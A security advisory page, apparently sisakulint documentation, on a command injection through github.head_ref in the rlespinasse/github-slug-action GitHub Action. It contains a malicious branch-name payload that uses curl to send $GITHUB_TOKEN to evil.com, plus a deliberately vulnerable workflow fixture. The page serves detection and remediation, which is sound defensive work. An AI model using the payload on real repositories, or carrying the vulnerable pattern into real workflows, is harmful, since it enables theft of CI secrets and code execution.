GHSA-6q4m-7476-932w

GHSA-6q4m-7476-932w: Command Injection via github.head_ref in rlespinasse/github-slug-action #

Summary #

FieldValue
Advisory IDGHSA-6q4m-7476-932w
Packagerlespinasse/github-slug-action
SeverityHigh (CVSS 8.8)
Vulnerability TypeCommand Injection (CWE-77)
CVECVE-2023-27581
Affected Versions< v4.4.1
Fixed Versionv4.4.1
Published2023-05-22
Advisory URLhttps://github.com/advisories/GHSA-6q4m-7476-932w

Vulnerability Description #

The rlespinasse/github-slug-action is vulnerable to arbitrary code execution when github.head_ref parameter is used insecurely in workflows triggered by pull requests. The action generates URL-safe slugs from branch names for use in deployments and other automation tasks.

Any GitHub user can exploit this vulnerability by creating a pull request with a malicious branch name containing an attack payload. When workflows use direct expression substitution ${{ }} in shell commands instead of environment variables, attackers can execute arbitrary code on GitHub runners. This enables potential cryptocurrency mining on victim’s resources and exfiltration of CI/CD pipeline secrets.

Technical Root Cause: The vulnerability arises because the action’s internal implementation (prior to v4.4.1) used inline bash scripts that directly interpolated GitHub context variables like refname="${{ github.head_ref || github.ref_name }}". Shell variable assignments with direct expression substitution are evaluated before the assignment, allowing command injection through specially-crafted branch names containing backticks, $(), or other shell metacharacters.

Attack Scenario #

  1. Attacker creates a branch with malicious name: feature/poc`curl http://evil.com/exfil?data=$GITHUB_TOKEN`
  2. Opens a pull request to trigger the workflow
  3. The workflow uses pull_request_target trigger with elevated privileges
  4. Branch name is directly substituted: HEAD_REF="${{ github.head_ref }}"
  5. Shell evaluates the backticks before assignment
  6. Attacker’s command executes with access to secrets and repository

Vulnerable Pattern #

on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  deploy-preview:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - name: Generate slug
        id: slug
        run: |
          # Vulnerable: Direct substitution without env variable
          HEAD_REF="${{ github.head_ref }}"

          # Slug generation - but HEAD_REF already compromised
          SLUG=$(echo "$HEAD_REF" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9-]/-/g')
          echo "slug=$SLUG" >> "$GITHUB_OUTPUT"

      - name: Deploy preview
        run: |
          # Vulnerable: Direct usage in URL construction
          DEPLOY_URL="https://preview-${{ steps.slug.outputs.slug }}.example.com"
          echo "Deploying to: $DEPLOY_URL"

          # Vulnerable: Direct substitution
          echo "Branch: ${{ github.head_ref }}"

Why This is Vulnerable #

  • ${{ github.head_ref }} is expanded by GitHub Actions before shell execution
  • Shell processes the expanded value during variable assignment
  • Backticks, $(), and other shell metacharacters are interpreted
  • Even if slug is sanitized later, the damage occurs during initial assignment
  • Privileged context provides access to secrets and write permissions

Safe Pattern #

on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  deploy-preview:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - name: Generate slug
        id: slug
        env:
          HEAD_REF: ${{ github.head_ref }}
        run: |
          # Safe: Use environment variable to prevent command injection
          SLUG=$(echo "$HEAD_REF" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9-]/-/g')
          echo "slug=$SLUG" >> "$GITHUB_OUTPUT"

      - name: Deploy preview
        env:
          SLUG: ${{ steps.slug.outputs.slug }}
          HEAD_REF: ${{ github.head_ref }}
        run: |
          # Safe: Use environment variables
          DEPLOY_URL="https://preview-$SLUG.example.com"
          echo "Deploying to: $DEPLOY_URL"
          echo "Branch: $HEAD_REF"

Why This is Safe #

  • Environment variables are set by the GitHub Actions runtime
  • Shell receives pre-escaped literal values
  • No shell expansion or command substitution occurs
  • Special characters are treated as data, not code
  • Branch name cannot influence command execution

Detection in sisakulint #

Expected Rules #

  • CodeInjectionCriticalRule - Should detect direct usage of github.head_ref or github.base_ref in shell variable assignments without environment variables

Detection Result #

script/actions/advisory/GHSA-6q4m-7476-932w-vulnerable.yaml:24:24: code injection (critical): "github.head_ref" is potentially untrusted and used in a workflow with privileged triggers. Avoid using it directly in inline scripts. Instead, pass it through an environment variable. See https://sisaku-security.github.io/lint/docs/rules/codeinjectioncritical/ [code-injection-critical]
script/actions/advisory/GHSA-6q4m-7476-932w-vulnerable.yaml:33:42: code injection (critical): "steps.slug.outputs.slug (tainted via github.head_ref)" is potentially untrusted and used in a workflow with privileged triggers. Avoid using it directly in inline scripts. Instead, pass it through an environment variable. See https://sisaku-security.github.io/lint/docs/rules/codeinjectioncritical/ [code-injection-critical]
script/actions/advisory/GHSA-6q4m-7476-932w-vulnerable.yaml:37:28: code injection (critical): "github.head_ref" is potentially untrusted and used in a workflow with privileged triggers. Avoid using it directly in inline scripts. Instead, pass it through an environment variable. See https://sisaku-security.github.io/lint/docs/rules/codeinjectioncritical/ [code-injection-critical]

Analysis #

DetectedRuleCategory Match
YesCodeInjectionCriticalRuleYes - Perfect match

Detection Details:

  • CodeInjectionCriticalRule successfully detects all three instances of vulnerable github.head_ref usage
  • Detects direct substitution in variable assignments (line 24)
  • Detects tainted output propagation (line 33)
  • Detects direct usage in echo commands (line 37)
  • Provides correct remediation: “pass it through an environment variable”
  • Auto-fix available: Moves expressions to environment variables

Status: Fully Detected

Test files:

  • Vulnerable: script/actions/advisory/GHSA-6q4m-7476-932w-vulnerable.yaml
  • Safe: script/actions/advisory/GHSA-6q4m-7476-932w-safe.yaml

Mitigation Strategies #

  1. Always Use Environment Variables (Critical)

    • Pass all GitHub context values through the env: key
    • This is the only reliable way to prevent this class of vulnerability
    • Apply to ALL untrusted inputs, not just branch names
  2. Update to Fixed Version

    • Upgrade to rlespinasse/github-slug-action@v4.4.1 or later
    • Fixed version uses environment variables internally
  3. Code Review Focus

    • Search for pattern: VARIABLE="${{ github.* }}"
    • Replace with env variable pattern
    • Be especially vigilant in pull_request_target workflows
  4. Input Validation (Defense in Depth)

    • Validate branch names match expected patterns
    • Reject branches with suspicious characters
    • Use regex: ^[a-zA-Z0-9/_-]+$
  5. Minimize Privileged Workflows

    • Avoid pull_request_target when possible
    • Use pull_request trigger for untrusted code
    • Separate workflows: untrusted code analysis + privileged actions

References #

External References #